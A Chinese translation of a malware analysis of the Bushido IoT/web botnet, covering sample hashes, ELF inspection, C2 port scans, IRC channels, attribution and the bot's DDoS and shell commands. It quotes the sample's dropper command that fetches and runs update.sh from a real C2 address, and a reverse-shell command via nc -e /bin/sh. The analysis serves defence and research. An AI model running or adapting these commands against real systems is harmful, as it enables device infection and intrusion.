逆向 Bushido IOT 僵尸网络
这篇文章介绍一个代号为 Bushido 的僵尸网络,这个僵尸网络既可以控制 IOT 设备发动 DDOS 攻击,也可以控制 web 服务器发动 DDOS 攻击,本文介绍该恶意软件的感染行为,也会尝试分析该恶意软件背后的作者。
感谢 MalwareMustDie 提供本次分析的初始脚本,简单来说,这些脚本的功能是从服务器下载若干可执行文件然后执行他们,针对不同平台会下载对应的可执行文件,如下:
在这篇文章里我们选择了64位的 ELF 样本进行逆向分析,其他平台的样本逻辑功能是一样的。
恶意样本
首先,列一下最后分析出来的该僵尸网路所有的文件
FILE HASH VALUE | FILE NAME | FUNCTION |
---|---|---|
4c1ff6424e1d47921a9c3822c67b6d288e67781d22ee1bc4f82fc11509bfb479 | a09rndgxtx | botnet binary |
40a9be5a72284a14939271e244a9904142c7e87e64d2b1a476b51d36c5f2de26 | a88hfdje8 | botnet binary |
f4bed53e2a0d273f00e82825607164ad20caa5f1a02e48e4b5627a819f49df8b | ab89484bdhd | botnet binary |
d12ffbef4d85806d77294377956c4ecc48ac9b8c3bddbf26a917723f80c719fb | adjde99vhc | botnet binary |
c1b12ad1eb4e64896a66dc9b4e83f0e3a7d2d4c79819b68853f0f64fd329ac83 | adjs8993bd | botnet binary |
37ac5b9aef6955a7a393d87ee656656851c313896fdeaff3b591e68ebda7a21d | agf63683gd | botnet binary |
5a8a8ea38ac8202373474e5ce535efd2302543a5aa595aa00bd3b553467ffd34 | alfkdcj9e8 | botnet binary |
fd171c6b8f870bf64885cb05a5f1da3581537810652a9714a592c21889722198 | alo99edgwu | botnet binary |
9bad4e105c1701c965fd65118a14e06d222ca13eb9adb3c9e1e4fd7a80374087 | apr98dgs5c | botnet binary |
ca5bb4a794663f35c1ded854e5157e8d077624501514ecac329be7ada8e0248c | aqerd783nd | botnet binary |
7c492dde22c828fffc3067ef6aaa5d466cab76858079ce57492ce9bbfd7e449a | atyur7837s | botnet binary |
5fb8b5590b4845b31988f636a5a09b02bdbb3e730dd1f78d8f04a02013cb760d | ambvjcv9e0 | botnet binary |
70d7adcd931eb49ede937b64f1653a6710fbcea891e2ab186165cff1d3429945 | 8UsA1.sh | infection script |
36f38298c5345abf9f0036890b357610078327a4a0a0e61db79fe7afb591830d | update.sh | infection script |
eabee288c9605b29f75cd23204b643cfe4d175851b7d57c3d3d73703bd0f8ec8 | ftp1.sh | download the malware samples via ftp and install it |
2544f0299a5795bf12494e2cbe09701cb024b06a0b924c91de0d35efb955a5fe | pma.php | php botnet more on it in later section |
18d6a4280adf67e2adf7a89aa11faa93a5ed6fc9d64b31063386d762b92b45d3 | pma.pl | pearl botnet more on it in later section |
静态分析
64位平台的二进制文件是 ambvjcv9e0 这个文件,首先,查看它的文件信息
$ file ambvjcv9e0
ambvjcv9e0: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped
如上,这是一个64位的elf文件,接下去我们查看 elf 头信息
readelf -h x64_ambvjcv9e0
ELF Header:
Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
Class: ELF64
Data: 2s complement, little endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 0
Type: EXEC (Executable file)
Machine: Advanced Micro Devices X86-64
Version: 0x1
Entry point address: 0x400194
Start of program headers: 64 (bytes into file)
Start of section headers: 120288 (bytes into file)
Flags: 0x0
Size of this header: 64 (bytes)
Size of program headers: 56 (bytes)
Number of program headers: 3
Size of section headers: 64 (bytes)
Number of section headers: 15
Section header string table index: 12
然后,查看 elf 文件的程序头
$ readelf -l ambvjcv9e0
Elf file type is EXEC (Executable file)
Entry point 0x400194
There are 3 program headers, starting at offset 64
Program Headers:
Type Offset VirtAddr PhysAddr
FileSiz MemSiz Flags Align
LOAD 0x0000000000000000 0x0000000000400000 0x0000000000400000
0x000000000001b50c 0x000000000001b50c R E 0x100000
LOAD 0x000000000001b510 0x000000000051b510 0x000000000051b510
0x0000000000001418 0x00000000000094a0 RW 0x100000
GNU_STACK 0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 RW 0x8
Section to Segment mapping:
Segment Sections...
00 .init .text .fini .rodata .eh_frame
01 .ctors .dtors .jcr .data .bss
02
如上,没有 dynamic section 和 INTERP section, 接下去我们查看详细的 section 表
$ readelf -S ambvjcv9e0
There are 15 section headers, starting at offset 0x1d5e0:
Section Headers:
[Nr] Name Type Address Offset
Size EntSize Flags Link Info Align
[ 0] NULL 0000000000000000 00000000
0000000000000000 0000000000000000 0 0 0
[ 1] .init PROGBITS 00000000004000e8 000000e8
0000000000000013 0000000000000000 AX 0 0 1
[ 2] .text PROGBITS 0000000000400100 00000100
0000000000015138 0000000000000000 AX 0 0 16
[ 3] .fini PROGBITS 0000000000415238 00015238
000000000000000e 0000000000000000 AX 0 0 1
[ 4] .rodata PROGBITS 0000000000415260 00015260
00000000000062a6 0000000000000000 A 0 0 32
[ 5] .eh_frame PROGBITS 000000000041b508 0001b508
0000000000000004 0000000000000000 A 0 0 4
[ 6] .ctors PROGBITS 000000000051b510 0001b510
0000000000000010 0000000000000000 WA 0 0 8
[ 7] .dtors PROGBITS 000000000051b520 0001b520
0000000000000010 0000000000000000 WA 0 0 8
[ 8] .jcr PROGBITS 000000000051b530 0001b530
0000000000000008 0000000000000000 WA 0 0 8
[ 9] .data PROGBITS 000000000051b540 0001b540
00000000000013e8 0000000000000000 WA 0 0 32
[10] .bss NOBITS 000000000051c940 0001c928
0000000000008070 0000000000000000 WA 0 0 32
[11] .comment PROGBITS 0000000000000000 0001c928
0000000000000c4e 0000000000000000 0 0 1
[12] .shstrtab STRTAB 0000000000000000 0001d576
0000000000000066 0000000000000000 0 0 1
[13] .symtab SYMTAB 0000000000000000 0001d9a0
0000000000005418 0000000000000018 14 290 8
[14] .strtab STRTAB 0000000000000000 00022db8
00000000000029a2 0000000000000000 0 0 1
如上,这个elf文件是静态链接的,而且没有消除符号,所以我们可以用 readelf 读取符号表
$ readelf -s ambvjcv9e0
318: 000000000040bc46 485 FUNC GLOBAL DEFAULT 2 popen
319: 0000000000407ca5 177 FUNC GLOBAL DEFAULT 2 botkill
320: 0000000000411484 351 FUNC GLOBAL DEFAULT 2 sysconf
322: 000000000040b7d8 15 FUNC GLOBAL DEFAULT 2 vsprintf
323: 0000000000410ab4 72 FUNC GLOBAL DEFAULT 2 random
324: 0000000000411ad0 19 FUNC GLOBAL HIDDEN 2 __GI_getpagesize
325: 000000000040dd60 54 FUNC GLOBAL HIDDEN 2 __GI_strdup
326: 000000000040b43c 35 FUNC GLOBAL DEFAULT 2 getdtablesize
328: 0000000000405c17 33 FUNC GLOBAL DEFAULT 2 contains_fail
329: 000000000040037f 286 FUNC GLOBAL DEFAULT 2 Send
330: 0000000000414c50 19 FUNC GLOBAL HIDDEN 2 __length_question
332: 000000000040877a 1608 FUNC GLOBAL DEFAULT 2 hackpkg
333: 00000000004130c4 115 FUNC GLOBAL DEFAULT 2 setservent
334: 000000000040dce8 48 FUNC GLOBAL HIDDEN 2 __GI_strcasecmp
335: 0000000000411cd0 30 FUNC GLOBAL HIDDEN 2 __GI_tolower
336: 000000000040d3a8 192 FUNC GLOBAL DEFAULT 2 putc_unlocked
337: 000000000040fad4 11 FUNC WEAK DEFAULT 2 recv
338: 000000000040fa48 43 FUNC WEAK DEFAULT 2 connect
339: 0000000000414c00 80 FUNC GLOBAL HIDDEN 2 __encode_question
340: 00000000004115e4 70 FUNC GLOBAL HIDDEN 2 __GI___uClibc_fini
342: 0000000000414ab8 163 FUNC GLOBAL HIDDEN 2 __encode_header
343: 0000000000413234 233 FUNC GLOBAL DEFAULT 2 getservbyname_r
344: 0000000000414a40 119 FUNC GLOBAL HIDDEN 2 __GI_strncat
345: 000000000041162a 3 FUNC WEAK DEFAULT 2 __pthread_mutex_lock
346: 000000000040fc98 30 FUNC GLOBAL DEFAULT 2 __sigdelset
下面我们读取以 ‘.c’ 结束的符号
$ readelf -s x64_ambvjcv9e0 | grep -F .c
16: 0000000000000000 0 FILE LOCAL DEFAULT ABS crtstuff.c
26: 0000000000000000 0 FILE LOCAL DEFAULT ABS crtstuff.c
32: 0000000000000000 0 FILE LOCAL DEFAULT ABS initfini.c
35: 0000000000000000 0 FILE LOCAL DEFAULT ABS Bushido-IRC.c
50: 0000000000000000 0 FILE LOCAL DEFAULT ABS __syscall_fcntl.c
51: 0000000000000000 0 FILE LOCAL DEFAULT ABS _exit.c
52: 0000000000000000 0 FILE LOCAL DEFAULT ABS close.c
53: 0000000000000000 0 FILE LOCAL DEFAULT ABS fork.c
54: 0000000000000000 0 FILE LOCAL DEFAULT ABS getdtablesize.c
55: 0000000000000000 0 FILE LOCAL DEFAULT ABS getpid.c
56: 0000000000000000 0 FILE LOCAL DEFAULT ABS getppid.c
57: 0000000000000000 0 FILE LOCAL DEFAULT ABS getrlimit.c
58: 0000000000000000 0 FILE LOCAL DEFAULT ABS ioctl.c
59: 0000000000000000 0 FILE LOCAL DEFAULT ABS kill.c
发现了一个有趣的文件 Bushido-IRC.c(本僵尸网络名字的来源),更有意思的是,接下去我发现不需要用反编译的手段,直接用 strings 工具就可以发现该恶意样本的很多有用信息
$ strings ambvjcv9e0
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://80.93.187.211/update.sh -O update.sh; busybox wget http://80.93.187.211/update.sh -O update.sh; ftpget
-v -u anonymous -p anonymous -P 21 80.93.187.211 update.sh update.sh; busybox ftpget -v -u anonymous -p anonymous -P 21 80.93.187.211 update.sh update.sh; chmod 777 upd
ate.sh; ./update.sh; rm -rf update.sh
mirai.*
dlr.*mips
mips64
mipsel
sh2eb
sh2elf
armv5
armv4tl
armv4
armv6
i686
powerpc
通过浏览 strings 输出我发现了该样本的有趣信息:
- CNC 服务器的 IP 地址
- telnet 服务的账号和密码
- 若干 HTTP headers 相关的字符串
- 若干 user agent 相关的字符串
- 大量种族主义的言论
- 大量IRC命令和相关字符串
- 恶意软件使用说明
- 恶意软件更新命令和大量其他命令
- 错误处理相关的字符串
- libc 库函数名
- nmap 扫描命令
- 编译脚本的名字
通过上述字符串可以大概判断本恶意软件的功能,但是为了搞清楚其工作流程,以及如何与 CNC 服务器连接,我们需要深入分析,由于我们已经知道了 ip 地址,我们可以直接对 CNC 服务器做端口扫描
扫描服务器
从可执行文件里得到CNC服务器ip地址后,很自然而然就会进行端口扫描,通过扫描我得到以下结果
1,服务器A(ip 80.93.187.211)
21/tcp open ftp
22/tcp open ssh OpenSSH 5.3 (protocol 2.0)
| ssh-hostkey:
| 1024 b3:ae:e9:79:22:65:37:15:13:66:c8:8f:0a:81:13:ec (DSA)
|_ 2048 32:e9:e2:9f:9b:ae:13:e6:99:7a:60:91:9c:38:30:8d (RSA)
80/tcp open http Apache httpd 2.2.15 ((CentOS))
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.2.15 (CentOS)
|_http-title: Apache HTTP Server Test Page powered by CentOS
135/tcp filtered msrpc
139/tcp filtered netbios-ssn
443/tcp open https?
445/tcp filtered microsoft-ds
3306/tcp open mysql MySQL (unauthorized)
6667/tcp open irc UnrealIRCd
| irc-info:
| users: 57
| servers: 1
| chans: 3
| lusers: 57
| lservers: 0
| server: irc.NulL
| version: Unreal3.2.10.6. irc.NulL
| source ident: nmap
| source host: 19A967F7.1F3B5440.6D396E3B.IP
|_ error: Closing Link: kksqfgqca[114.143.107.254] (Client has disconnected from ZullSec)
根据扫描结果可以得到下面的结论:
- 这是基于 IRC 的 CNC 服务器
- ftp 服务可能可以使用:进一步地,我使用默认ftp账号和密码(anonymous)成功登录了该ftp服务,登录了ftp服务之后,就可以得到我们前面提到的所有文件,在其中一个脚本文件 8UsA1.sh 里,我们发现它还连接了另外一个ip地址: 185.244.25.217
2, 服务器B(ip 185.244.25.217)
这个ip是从文件 8UsA1.sh 里发现的,对它进行 nmap 端口扫描,可惜没发现啥有意思的东西,它只开放了一个 HTTP 服务
80/tcp open http
443/tcp open https
Running: Linux 2.6.X
OS details: Linux 2.6.18 - 2.6.22
CNC服务器
从上述分析我得出结论,这个恶意样本是通过服务器A基于 IRC 控制的僵尸网络,使用IRC客户端链接CNC服务器后可以发现有两个频道
- pma – 恶意脚本感染了web服务器后会通过 IRC 加入 CNC 服务器的这个频道
- zull – 恶意二进制感染了iot设备后通过 IRC 加入 CNC 服务器的这个频道
IRC服务器
经过分析,恶意终端连接 IRC 服务的命令格式如 “NICK[ZULL|x86_64]ZM5z”, 这个命令表示恶意样本 NICK[] 加入 IRC 频道 #zull, 使用的密码是写死在可执行文件里的,如下
恶意终端的功能
通过分析可以知道恶意样本具备以下能力:
- DDOS 攻击,这是主要功能,集成了多种 DDOS 攻击,如 ICMP flood, TCP/UDP flood
- 恶意终端可以被 CNC 远程关闭,这个关闭恶意终端的命令的密码是: “FreakIsYourGod!!!”,也是写死在二进制里的,如下
- 恶意终端可以从服务器下载新的可执行文件,也可以下载源码然后自己编译出可执行文件
- 恶意终端可以跳转到新的服务器,如果当前服务器失能
逆向分析发现恶意终端二进制文件存在一个结构体数组,该结构体第一个元素是一个字符串(命令的名称),第二个元素是一个函数指针(命令的实现函数),这个数组就是指令列表,如下:
小结一下,恶意终端包括运行在 IOT 设备上的可执行文件和运行在web服务器上的脚本,这些恶意终端会连接 IRC 服务器对应的频道,iot 设备的恶意终端连接 #zull 频道,web 服务器的恶意终端连接 #pma 频道,然后等待 IRC 服务器下发指令,这些指令整理如下:
恶意可执行文件拥有的指令
- Non-root/non-spoof DDoS commands commands :
- STD: A non spoof HIV STD flooder
- HOLD: A vanilla TCP connect flooder
- JUNK: A vanilla TCP flooder (modded)
- UNKNOWN<port, 0 for random> <packet size, 0 for random>: An advanced non spoof UDP flooder modified by Freak
- HTTP: An extremely powerful HTTP flooder
- Spoof/root commands :
- UDP: A UDP flooder
- PAN: An advanced syn flooder that will kill most network drivers
- TCP: An advanced TCP flooder with multithreading. Will kill almost any service.
- PHATWONK<flags/method>: A leet flooder coded by Freak, attacks 31 ports. Can set flags or attack method.
- BLACKNURSE: An ICMP packet flooder that will crash most firewalls and use loads of CPU.
- Other commands :
- RNDNICK : Randomizes the knights nick
- NICK: Changes the nick of the client
- SERVER: Changes servers
- GETSPOOFS : Gets the current spoofing
- SPOOFS: Changes spoofing to a subnet
- DISABLE : Disables all packeting from this client
- ENABLE : Enables all packeting from this client
- KILL : Kills the knight
- DNS2IP
- GET: Downloads a file off the web and saves it onto the hd
- UPDATE<src:bin> : Update this bot
- HACKPKG: HackPkg is here! Install a bin, using http, no depends!
- VERSION : Requests version of client
- KILLALL : Kills all current packeting
- HELP : Displays this
- IRC: Sends this command to the server
- SH: Executes a command
- ISH: SH, interactive, sends to channel
- SHD: Executes a psuedo-daemonized command
- GETBB: Get a proper busybox
- INSTALL <http server/file_name> : Download & install a binary to /var/bin
- BASH: Execute commands using bash.
- BINUPDATE http:server/package : Update a binary in /var/bin via wget
- SCAN: Call the nmap wrapper script and scan with your opts.
- RSHELL: Equates to nohup nc ip port -e /bin/sh
- LOCKUP http:server : Kill telnet, d/l aes backdoor from, run that instead.
- GETSSH http:server/dropbearmulti : D/l, install, configure and start dropbear on port 30022.
恶意脚本拥有的指令
- mail [to] [from] [subject] [message]
- dns [host]
- rndnick
- raw [irc] [data]
- uname
- eval [php] [code]
- exec [command] [args]
- cmd [command] [args]
- udpflood [ip] [port] [time] [packet] [size]
- tcpconn [host] [port] [time]
- slowread [host] [port] [page] [sockets] [time]
- slowloris [host] [time]
- l7 method [host] [time]
- post [host] time
- head [host] [time]
- tcpflood [host] [port] [time]
- httpflood [host] [port] [time] [method] [url]
- proxyhttpflood [targetUrl(with http://)] [proxyListUrl] [time] [method]
- cloudflareflood [host] [port] [time] [method] [url] [postFields]
- ud.server [host] [port] [pass] [chan]
恶意样本背后的人
当我们连接上 IRC 服务器的时候会发现如下信息:
我在 twitter 上搜索以上关键字,结果发现了两个账号
- m4licious
- M1rOx
这些账号属于某个称为 Offsecurity 的组织,我猜测他们试图将这个僵尸网络出售,通过一点谷歌搜索我发现了更多信息:
- youtube
结论
这个恶意软件并没有新奇的行为,我猜测它是根据开源工具 Mirai 改的,他们通过控制web服务器和 iot 设备发动 DDOS 攻击,并通过 IRC 服务器控制所以恶意终端。
原文地址:http://www.mien.in/2018/09/02/reversing-bushido-iot-botnet-by-zullsec/
相关文章
- 5条评论
- 余安颜于2022-06-06 02:43:46
- DEFAULT 2 Send330: 0000000000414c50 19 FUNC GLOBAL HIDDEN 2 __length_question332: 000000000040877a 1608 FUNC GLOBAL DEFAULT
- 冬马山柰2022-06-05 16:34:03
- 00000000000 AX 0 0 16 [ 3] .fini PROGBITS 0000000000415238 00015238 000000000000000e 0000000000000000
- 孤鱼做啡2022-06-05 18:32:15
- : Linux 2.6.XOS details: Linux 2.6.18 - 2.6.22CNC服务器从上述分析我得出结论,这个恶意样本是通过服务器A基于 IRC 控制的僵尸网络,使用IRC客户端链接CNC服务器后可以发现有两个频道pma – 恶意脚本感染了web服务器后会通过 IRC 加入
- 笑羞容2022-06-06 03:15:05
- binaryf4bed53e2a0d273f00e82825607164ad20caa5f1a02e48e4b5627a819f49df8bab89484bdhdbotnet bina
- 野欢听茶2022-06-05 23:53:24
- or from, run that instead.GETSSH http:server/dropbearmulti : D/l, install, configure and start dropbear on port 30022.恶意脚本拥有的指令mail [to] [fro